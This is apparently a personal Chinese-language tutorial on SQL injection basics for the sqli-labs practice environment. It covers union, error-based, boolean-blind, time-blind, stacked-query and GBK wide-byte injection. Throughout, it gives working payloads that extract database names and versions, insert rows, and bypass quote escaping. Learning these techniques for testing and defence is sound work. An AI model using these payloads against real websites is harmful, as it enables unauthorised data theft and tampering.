SQL注入基础
SQL注入的基本原理:
当程序员在编写SQL语言时直接将用户的输入与SQL语言进行连接,并且没有对用户的输入进行足够的过滤,使得用户可以通过注入恶意的SQL语句,从而修改数据库中的原有信息,获得网站的webshell,以及产生后门等一系列恶意操作。
SQL注入的基本方式
基本注入方式 | 注入的条件 | 没有对应条件的解决办法 |
---|---|---|
联合查询 | 页面有回显 | 下一方法 |
报错注入 | 页面有报错 | 下一方法 |
布尔盲注 | 页面有布尔类型状态 | 下一方法 |
时间盲注 | 页面无前三种状态 | 绝招 |
基本注入方式 | 注入条件 |
---|---|
堆叠查询 | 开启多语句查询 |
宽字节注入 | MySQL使用GBK编码 |
二次注入 | 特殊情况下 |
SQL注入的基本思路:
(以下playload可以在sqli-labs中实现)
1.判断属于字符型还是数字型闭合
使用 ?id=1’
如果数字1出现在报错信息中则为字符型(如果?id=1’后面出现双引号(‘’1’”),则为双引号闭合。如果出现单引号(‘1’’),则为单引号闭合)。
如果1没有出现,则为数字型闭合。
2.判断字段个数column(联合查询)
闭合前一条sql语句,使用order by(按字段数进行排序)判断列数。
例如:
?id=1’ order by 1 --+
?id=1’ order by 4 --+
当输入的数字大于字段数时,系统就会报出错误(unknown column)。
3.闭合前后的SQL语句
1)使用第一步中测试出的引号来闭合前面的sql语句。
例如单引号闭合: ?id=1’
2)对于后面的语句就使用注释来进行闭合。
常见的注释语句:
1)–+
2)#
3)/* … */
或者使用闭合单引号的方法来闭合后面的SQL语句:
例如
// palyload:
?id=404' or '1'='1
4.判断注入显示位置
palyload: ?id=-1’ union select 1,2,3–+
查看页面中数字出现的位置,即为注入显示的位置。
联合查询
联合查询使用UNION 操作符合并两个或多个 SELECT 语句的结果集。UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。此外联合查询的两条结果,系统默认只显示第一条,所以需要将第一条SQL语句置为假,才会显示第二条语句的内容。
例:Playload: ?id=-1’ union select 1,user(),version()–+
或者 ?id=1’ and 1=2 union select 1,user(),version() --+
报错注入
常见的报错注入:
updatexml报错(XPATH报错):
Playload: ?id=1’ and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+
Floor报错
Palyload:?id=1’ and(select 1 from(select count(*),concat((select(select(select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
extractvalue报错(XPATH报错)
Palyload:?id=1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e))
布尔盲注
布尔盲注常用函数:
Substr:字符串截取函数。Substr(str,start,length).
Ascii(char):将字符串转换成ASCII码。
判断数据库长度
Palyload: ?id=1’ and length(database())=8 --+
猜测数据库名的第一位
(第二位为database(),2,1 以此类推)
Palyload:?id=1’ and ascii(substr(database(),1,1))=115 --+
时间盲注
时间盲注常用函数:
if(cond,ture_result,flase_result):cond为判断条件,ture_result为真时返回的结果,false_result为假时返回的结果。
通常使用if配合ascii,substr函数来实现时间盲注
判断闭合类型
Palyload: ?id=1’ and sleep(5) --+
(为’闭合时延时5s,否则没有)
更改’为”,测试是否为”注入,结果与上面相同。
猜测数据库名第一位
Palyload: ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+
(猜测版本的第一位是否为s,如果正常则返回sleep(5),使得界面延时5s。反正则不会。)
猜测第二位为(database(),2,1)以此类推
根据上述palyload,可以猜测其他信息。
堆叠查询
我们知道在mysql中,主要是命令行中,每一条语句结尾加上 ;
当目标开启了多语句查询时,可以使用堆叠查询:
试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合查询)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如:插入用户:
Palyload: ?1’ ; insert into users(id,username,password) values(‘11’,‘11’,‘11’) --+
宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’。
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:
1)%df 吃掉 \
例如 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2)将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。
例:palyload : ?id=-1%df%27 union select 1,user(),3–+
二次注入
二次注入是指输入提交的语句,无法直接对 WEB 应用程序产生影响,而是先注入到数据库中,再通过读取数据库的操作对 WEB 产生危害,这样的注入就被称为是二次注入。二次注入较为复杂这里不进行详细介绍。
结语
本文为个人原创,小白一枚,如有错误的地方,欢迎大家赐教。